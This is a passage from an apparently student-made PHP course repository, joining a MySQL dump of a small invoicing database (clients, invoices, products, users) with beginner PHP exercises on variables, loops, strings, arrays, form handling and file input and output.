(314, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(315, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(316, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(317, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(318, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(319, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(320, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(321, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(322, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(323, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(324, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(325, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(326, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(327, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(328, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(329, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(330, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(331, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(332, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(333, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(334, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(335, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(336, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(337, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(338, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(339, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(340, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(341, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(342, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(343, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(344, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(345, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(346, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(347, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(348, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(349, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(350, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(351, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(352, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(353, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(354, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(355, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(356, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(357, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(358, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(359, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(360, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(361, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(362, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(363, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(364, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(365, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(366, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(367, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(368, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(369, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(370, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(371, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(372, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(373, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(374, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(375, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(376, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(377, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(378, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(379, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(380, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(381, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(382, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(383, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(384, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(385, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(386, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(387, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(388, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(389, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(390, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(391, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(392, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(393, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(394, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(395, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(396, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(397, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(398, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(399, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(400, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(401, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(402, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(403, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(404, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(405, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(406, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(407, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(408, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(409, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(410, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(411, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(412, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(413, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(414, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(415, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(416, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(417, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(418, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(419, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(420, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(421, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(422, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(423, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(424, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(425, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(426, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(427, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(428, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(429, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(430, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(431, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(432, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(433, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(434, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(435, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(436, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(437, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(438, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(439, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(440, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(441, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(442, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(443, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(444, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(445, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(446, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(447, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(448, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(449, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(450, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(451, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france'),
(452, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(453, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(454, 'toto', 'titi', 'ton adresse', '67000', 'Strasbourg', 'france');
-- --------------------------------------------------------
--
-- Structure de la table `d_facture`
--
CREATE TABLE `d_facture` (
`Qte` int(11) NOT NULL,
`NumFacture` int(11) NOT NULL,
`NumProduit` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Contenu de la table `d_facture`
--
INSERT INTO `d_facture` (`Qte`, `NumFacture`, `NumProduit`) VALUES
(50, 2, 2),
(40, 3, 2),
(40, 3, 3),
(40, 3, 4),
(30, 5, 2),
(10, 5, 3),
(40, 5, 4);
-- --------------------------------------------------------
--
-- Structure de la table `facture`
--
CREATE TABLE `facture` (
`NumFacture` int(11) NOT NULL,
`DateFacture` date NOT NULL,
`NumClient` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Contenu de la table `facture`
--
INSERT INTO `facture` (`NumFacture`, `DateFacture`, `NumClient`) VALUES
(2, '2016-12-02', 2),
(3, '2016-12-12', 4),
(4, '2017-01-10', 2),
(5, '2017-01-05', 3);
-- --------------------------------------------------------
--
-- Structure de la table `produits`
--
CREATE TABLE `produits` (
`NumProduit` int(11) NOT NULL,
`Des` varchar(255) NOT NULL,
`PUHT` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Contenu de la table `produits`
--
INSERT INTO `produits` (`NumProduit`, `Des`, `PUHT`) VALUES
(1, 'Ecran Pc', 100),
(2, 'Pc Portable ', 800),
(3, 'CPU', 350),
(4, 'GPU', 400);
-- --------------------------------------------------------
--
-- Structure de la table `utilisateurs`
--
CREATE TABLE `utilisateurs` (
`username` varchar(255) NOT NULL,
`password` varchar(255) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
--
-- Contenu de la table `utilisateurs`
--
INSERT INTO `utilisateurs` (`username`, `password`) VALUES
('Jacob', <PASSWORD>'),
('Virgile', <PASSWORD>');
--
-- Index pour les tables exportées
--
--
-- Index pour la table `client`
--
ALTER TABLE `client`
ADD PRIMARY KEY (`NumClient`);
--
-- Index pour la table `d_facture`
--
ALTER TABLE `d_facture`
ADD PRIMARY KEY (`NumFacture`,`NumProduit`),
ADD KEY `NumFacture` (`NumFacture`,`NumProduit`),
ADD KEY `d_facture_ibfk_1` (`NumProduit`);
--
-- Index pour la table `facture`
--
ALTER TABLE `facture`
ADD PRIMARY KEY (`NumFacture`),
ADD KEY `NumClient` (`NumClient`);
--
-- Index pour la table `produits`
--
ALTER TABLE `produits`
ADD PRIMARY KEY (`NumProduit`);
--
-- AUTO_INCREMENT pour les tables exportées
--
--
-- AUTO_INCREMENT pour la table `client`
--
ALTER TABLE `client`
MODIFY `NumClient` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=455;
--
-- AUTO_INCREMENT pour la table `facture`
--
ALTER TABLE `facture`
MODIFY `NumFacture` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;
--
-- AUTO_INCREMENT pour la table `produits`
--
ALTER TABLE `produits`
MODIFY `NumProduit` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
--
-- Contraintes pour les tables exportées
--
--
-- Contraintes pour la table `d_facture`
--
ALTER TABLE `d_facture`
ADD CONSTRAINT `d_facture_ibfk_1` FOREIGN KEY (`NumProduit`) REFERENCES `produits` (`NumProduit`) ON DELETE CASCADE ON UPDATE CASCADE,
ADD CONSTRAINT `d_facture_ibfk_2` FOREIGN KEY (`NumFacture`) REFERENCES `facture` (`NumFacture`) ON DELETE CASCADE ON UPDATE CASCADE;
--
-- Contraintes pour la table `facture`
--
ALTER TABLE `facture`
ADD CONSTRAINT `facture_ibfk_1` FOREIGN KEY (`NumClient`) REFERENCES `client` (`NumClient`) ON DELETE NO ACTION ON UPDATE NO ACTION;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>/siteweb/Php/test.php
<?php
//commentaire ligne
/* commentaire paragraphe
qsdq
qsdqs
*/
//$ = une variable
$mon_entier=10;
$mon_réel=10.2;
$mon_carac='a';
$moncarac="a";
$moncarac='a';
$somme=10+2;
$multi=(10+2)*2;
$multi=$somme*2;
$modulo=10 % 3;
$mon_entier=10;
$mon_r=1;
$mon_car=2;
echo "<h1>Hello World this is a test</h1>";
echo $mon_entier."<br/>";
echo "La va de mon reel :".$mon_r."<br/>";
echo "La val de mon caratère :$mon_car"."<br/>";
echo 'La res de la somme:'.$somme.'<br/>';
echo 'Le res de la somme:$somme<br/>';//affiche le nom de la var
// == : égalité
// === : égalité ou en plus du contenu de la variable on vérifie son type et sa taille en octet
$a=2;
$b=20;
if($a==2 and $b==20){
echo "true<br/>";
}else{
echo "false<br/>";
}
$choix=1;
switch($choix){
case 0: echo "choix 0 <br/>";break;
case 1: echo "choix 1 <br/>";break;
default : echo "cas par défaut<br/>";break;
}
/*
echo "<h1>Exo 1</h1>";
$prixHT=24;
$taxe1=5.5;
$taxe2=10;
$taxe3=20;
echo"<h2>Prix sans taxe : $prixHT €</h2><br/>";
echo "<table border=1><tr><td>Taxe</td><td>Résultat</td></tr><br/>";
$prixavectaxe=$prixHT*(($taxe1/100)+1);
echo "<tr><td>$taxe1 %</td><td>$prixavectaxe €</td></tr><br/>";
$prixavectaxe=$prixHT*(($taxe2/100)+1);
echo "<tr><td>$taxe2 %</td><td>$prixavectaxe €</td></tr><br/>";
$prixavectaxe=$prixHT*(($taxe3/100)+1);
echo "<tr><td>$taxe3 %</td><td>$prixavectaxe €</td></tr><br/></table>";
//Boucles POUR
echo "<h1>Boucle pour</h1>";
for($i=0;$i<10;$i++){//i++ -> i=i+1
echo"hello world".$i."<br/>";
}
//Faire TQ
echo"<h1>Boucle faire tq</h1>";
$i=0;
do {
echo"Hello World".$i;
echo "<br/>";
$i++;
}
while($i<10);
//Tant que
echo "<h1>Boucle Tant que</h1>";
$i=0;
while($i<10){
echo"hello world".$i;
echo"<br/>";
$i++;
}
//Les fonctions
/*Programme principal
$val1=100;
$val2=30;
$somme=somme($val1,$val2);
//echo "le res de la somme:".$somme;
echo"<h1>Somme</h1>";
echo "le res de la somme:".somme($val1,$val2);
echo"<br/>";
/*Implémentation fonctions et procédures
//fonction qui retourne la somme
function somme($val1,$val2){
/*$res=$val1+$val2;
return $res
return $val1+$val2;
}
function som($val1,$val2){
echo"La somme de $val1 et $val2 est : ".($val1+$val2);
echo"<br/>";
}
som($val1,$val2);
echo"<h1>Fonctions sur chaîne</h1>";
//FONCTION sur chaine
//Implémentation des fonctions
//fonction qui retourne la longueur d'une chaine
$chaine="AbCdEfGhIjQlMnOpQrStUvWxYz";
function lgchaine($chaine){
return strlen($chaine);
}
function lchaine($chaine){
echo "lg chaine : $chaine est : ".strlen($chaine)."<br/>";
}
lchaine($chaine);
//Fonction qui mélange la chaine
function melchaine($chaine){
//return str_shuffle($chaine);
echo "mel chaine ($chaine) est : ".str_shuffle($chaine)."<br/>";
}
melchaine($chaine);
//fonction qui écrit en minuscule
function lower($chaine){
//return strtolower($chaine);
echo "lower chaine ($chaine) est : ".strtolower($chaine)."<br/>";
}
lower($chaine);
*/
//$car='x';
//$taille=7;
//résultat afiché
// x x
// x x
// x x
// x
// x x
// x x
// x x
echo "<h1> Texte croix </h1>";
$i=0;
$j=0;
$carac='x';
$space=".";
$taille=7;
function croix($carac,$taille){
for($i=0;$i<$taille;$i++){
echo "<br>";
for($j=0;$j<$taille;$j++){
if ($i==$j || $j==6-$i){
echo $carac;}else{echo" ";
//$carac=".".$carac;
}
}
}
}
croix($carac,$taille);
echo"<br>";
echo"<h1>Les dates system</h1>";
$jour=date('d');
$mois=date('m');
$annee=date('y');
$heure=date('H');
$minute=date('i');
//Maintenant on peut afficher ce qu'on a recueilli
echo "Bonjour ! Nous somme le ".$jour.'/'.$mois.'/'.$annee.' et il est '.$heure.' heure '.$minute."<br>";
//Tableaux numérotés
//La fonction array permet de créer un tableau
//$prenoms = array ('François', 'Michel','Nicole', 'Véronique', 'Benoît'):
$prenoms[]='François';//Créera $prenoms[0]
$prenoms[]='Michel';
$prenoms[]='Nicole';
$prenoms[]='Véronique';
$prenoms[]='Benoît';
echo "Affichage res 1";
echo "<br>";
echo $prenoms[0];
echo "<br>";
echo $prenoms[1];
echo "<br>";
echo $prenoms[2];
echo "<br>";
echo $prenoms[3];
echo "<br>";
echo $prenoms[4];
//Tableau associatif (on accède à son contenu par une clé)
echo"<br><h1>Tableaux associatifs</h1>";
// $coordonnees = array (// () peuvent être remplacées par []);
$coordonnees ['prenom']='jean';
$coordonnees ['nom']='Dupont';
$coordonnees ['adresse']='3 rue du Paradis';
$coordonnees ['ville']='Marseille';
echo"<br>";
echo $coordonnees['ville'];
echo"<br>";
echo $coordonnees['prenom'];
echo"<br>";
//Naviguer dans un tableau
//boucle for tableau numéroté
echo 'boucle for <br>';
$lgtab=count($prenoms);
for ($i=0;$i<$lgtab;$i++){
echo $prenoms[$i].'<br>';
}
echo "<br>";
echo "<h1> tableau affichage associatif val </h1>";
//tableau associatif clé/val affichage uniquement de la val
foreach($coordonnees as $element){
echo $element."<br>";
}
echo "<br>";
echo "<h1> rechercher si une clé existe </h1>";
/*
array_key_exists : pour vérifier si une clé existe dans l'array
in_array : pour vérifier si une valeur existe dans l'array
array_search : pour récupérer la clé d'une valeur dans l'array
*/
if (array_key_exists('nom',$coordonnees))
echo 'La clé se trouve dans le tab coordonnées!';
else{
echo'no';
}
echo"<br>";
echo"<br>";
echo"<br>";
if (in_array('François',$prenoms))
echo 'La valeur françois se trouve dans le tableau prénoms!';
else{
echo'no';
}
echo"<br>";
echo"<br>";
$key = array_search('Paris',$coordonnees);
echo 'cle:'.$key;
echo"<br>";
echo"<br>";
//Maintenant on efface tous les éléments, mais on conserve le tableau :
foreach($coordonnees as $cle => $element){
unset($coordonnees[$cle]);
}
print_r($coordonnees);//affichage tableau vide
echo'<br>';
echo'<br>';
echo'<br>';
$coordonnees['prenom']='Nicolas';
echo'<br>';
echo'<br>';
echo'<br>';
echo $coordonnees['prenom'];<file_sep>/siteweb/Cours_Php_LUDUS2_17112016-master/index.php
<?php
//commentaires ligne
/* com para
sdqsd
sdqsdqs
*/
/*$mon_entier=10;
$mon_r=10.2;
$mon_car='a';
$moncar="a";
$moncar='b';
$somme=10+2;
$multi=(10+2)*2;
$multi=$somme*2;
$modulo=10 % 3;
$somme=$somme+1;
echo"<h1>Hello world</h1>";
echo"La val de mon entier :".$mon_entier."<br/>";
echo"La val de mon reel :".$mon_r."<br/>";
echo "le res de ma somme est $somme <br/>";
echo 'mon caractère est :'.$mon_car.'<br/>';
//Structure condition
$a=5;
$b=20;
/*
== ->égalité
!= ->diff
<
>
<=
>=
===
// ou logique or, ||
// et logique and, &&
if($a==5 || $b==10){
echo "true";
}else{
echo "false";
}
//structure condition switch
echo "<br/>";
$choix=0;
switch($choix){
case 0: echo "choix 0 <br/>";break;
case 1: echo "choix 1<br/>";break;
default : echo "cas par defaut<br/>";break;
}
//operateur ternaire
$val=($choix==6) ? "true" : "false";
echo "val de retour :".$val;
echo"<br/>";
//boucle for
echo "<h1>Boucle Pour</h1>";
for($i=0;$i<10;$i++){//i++ -> i=i+1
//i++
//i=i+1
//i+=1
//++i
echo "hello world".$i;
echo "<br/>";
}
//faire Tq
echo "<h1>Boucle faire tq</h1>";
$i=0;
do{
echo "hello world".$i;
echo "<br/>";
$i++;
}while($i<10);
//Tant que
echo "<h1>Boucle Tant que</h1>";
$i=0;
while($i<10){
echo "hello world".$i;
echo "<br/>";
$i++;
}
//Les fonctions et procédures
echo "<br/>";
echo "<br/>";
$val1=100;
$val2=30;
//$somme=somme(100,30);
//echo "le res de la somme :".$somme;
som(100,30);
//fonction qui retourne une somme
function somme($val1,$val2){
$res=$val1+$val2;
return $res;
}
//fonction qui affiche le res d'une somme
function som($val1,$val2){
echo "La somme de $val1 et $val2 est : ".($val1+$val2);
}
*/
$maChaine="Hello world";
$maChaineUp="HELLO WORLD";
echo '<br/>';
echo "longueur de $maChaine est : ". lgChaine($maChaine);
echo '<br/>';
lChaine($maChaine);
echo '<br/>';
echo "Melange de $maChaine est : ". MelChaine($maChaine);
echo '<br/>';
echo "lower de $maChaineUp est : ". lower($maChaineUp);
echo '<br/>';
//fonctions sur chaine
//fonction qui retourne la longueur d'une chaine
function lgChaine($chaine){
return strlen($chaine);
}
function lChaine($chaine){
echo"lg chaine : $chaine est : ".strlen($chaine)."<br/>";
}
//fonction qui mélange la chaine
function MelChaine($chaine){
return str_shuffle($chaine);
}
//fonction qui écrit en minuscules
function lower($chaine){
return strtolower($chaine);
}
/*
//Les dates system
$jour = date('d');
$mois = date('m');
$annee = date('Y');
$heure = date('H');
$minute = date('i');
// Maintenant on peut afficher ce qu'on a recueilli
echo 'Bonjour ! Nous sommes le ' . $jour . '/' . $mois . '/' . $annee . ' et il est ' . $heure. ' h ' . $minute;*/
/*
echo "Exo 1 :<br/>";
$prixHT=100;
$TVA1=5.5;
$TVA2=10;
$TVA3=20;
$ResTTC=$prixHT+($prixHT*$TVA1)/100;
echo"<table border=1><tr><td>".$ResTTC."</td></tr></table>";
$ResTTC=$prixHT+($prixHT*$TVA2)/100;
echo"<table border=1><tr><td>".$ResTTC."</td></tr></table>";
$ResTTC=$prixHT+($prixHT*$TVA3)/100;
echo"<table border=1><tr><td>".$ResTTC."</td></tr></table>";
*/
?>
<file_sep>/siteweb/Php/cible_suitetest.php
<?php
//TRAITEMENT FORMULAIRE
if (isset($_POST['nom']) AND isset($_POST['prenom']) AND isset($_POST['caseF']) OR isset($_POST['caseH']))
{
echo'<strong>Je sais comment tu t\'appelles, tu t\'appelles '.htmlspecialchars($_POST['prenom'])." ".htmlspecialchars($_POST['nom']);
if(isset($_POST['caseF'])){
echo' et tu es une femme.';
}else if(isset($_POST['caseH'])){
echo' et tu es un homme.';
}
}else{//Il manque des paramètres, on averti le visiteur
echo'Il faut renseigner un nom et un prénom!';
}
/*
echo'<br><h1>unset</h1><br>';
print_r($_POST);
echo'<br>';
unset($_POST['nom']);
unset($_POST['prenom']);
unset($_POST['caseF']);
unset($_POST['caseH']);
print_r($_POST);
$var=$_POST['nom']='nom';
echo $var */
?><file_sep>/siteweb/Cours_Php_LUDUS2_17112016-master/fichiers.php
<?php
// Chemin vers fichier texte
$file ="file.txt";
// Ouverture en mode écriture
$fileopen=(fopen("$file",'a+'));
// Ecriture de "Début du fichier" dansle fichier texte
fwrite($fileopen,"Début du fichier\n");
//ecrit une ligne dans fichier
fputs($fileopen, 'Texte à écrire');
// On ferme le fichier proprement
fclose($fileopen);
/*
r : Ouverture en lecture seule, le pointeur sera au début
r+: Ouverture en lecture et écriture, le pointeur sera au début
w : Ouverture en écriture seule, crée le fichier ou le vide avant écriture, pointeur au début
w+: Ouverture en rw, crée le fichier ou le vide avant écriture, pointeur au début
a : Ouverture en écriture seule, crée le fichier si n’existe pas, pointeur à la fin si existe
a+: Ouverture en lecture et écriture, crée le fichier si n’existe pas, pointeur à la fin (écrit à la suite du fichier)
x : Ouverture en lecture seule, crée le fichier et ne fonctionne pas si le fichier existe déjà.
x+: Ouverture en lecture et écriture, crée le fichier et ne fonctionne pas si le fichier existe déjà.
c : Ouverture en écriture seule, crée le fichier si il n’existe pas, ne vide pas le fichier comme w, pointeur au début (écrit au dessus de ce qui existe déja)
c+: Ouverture en lecture et écriture, pareil que pour c*/
// Chemin vers fichier texte
$file ="file.txt";
// Ouverture en mode lecture
$fileopen=(fopen("$file",'r+'));
//Lit 1 ligne du fichier
$ligne = fgets($fileopen);
echo $ligne;
// remet le curseur au début du fichier
fseek($fileopen, 0);
// On ferme le fichier proprement
fclose($fileopen);
?>
<?php
// Chemin vers fichier texte
$file ="file.txt";
// On met dans la variable (tableau $read) le contenu du fichier
$read=file($file);
//On affiche ensuite le fichier ligne par ligne (pour un fichier de deux lignes)
echo $read[0];
foreach($read as $line=>$lineContent){
echo $line,' ', $lineContent,'<br/>';
}
?>
<?php
// Chemin vers fichier texte
$file ="file.txt";
// Affichage du fichier texte au complet
readfile($file);
?>
<?php
$file ="file.txt";
if(!$fp=fopen("$file",'r')){
echo "Erreur ouverture fichier";
}else{
while(!feof($fp)){
$line=fgets($fp,255);
echo $line;
}
fclose($fp);
}
?>
<file_sep>/siteweb/DATABASE/facturef2b.sql
-- phpMyAdmin SQL Dump
-- version 4.6.4
-- https://www.phpmyadmin.net/
--
-- Client : 127.0.0.1
-- Généré le : Jeu 12 Janvier 2017 à 14:58
-- Version du serveur : 5.7.14
-- Version de PHP : 5.6.25
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Base de données : `facturef2b`
--
-- --------------------------------------------------------
--
-- Structure de la table `client`
--
CREATE TABLE `client` (
`NumClient` int(11) NOT NULL,
`NomClient` varchar(255) NOT NULL,
`PrenomClient` varchar(255) NOT NULL,
`AdresseClient` varchar(255) NOT NULL,
`Cp` varchar(255) NOT NULL,
`VilleClient` varchar(255) NOT NULL,
`PaysClient` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Contenu de la table `client`
--
INSERT INTO `client` (`NumClient`, `NomClient`, `PrenomClient`, `AdresseClient`, `Cp`, `VilleClient`, `PaysClient`) VALUES
(1, 'Lehmann', 'Nicolas', '12 A rue du sylvaner', '68980', 'Beblenheim', 'France'),
(2, 'Lehmann', 'Martin', '12 A rue du sylvaner', '68980', 'Beblenheim', 'France'),
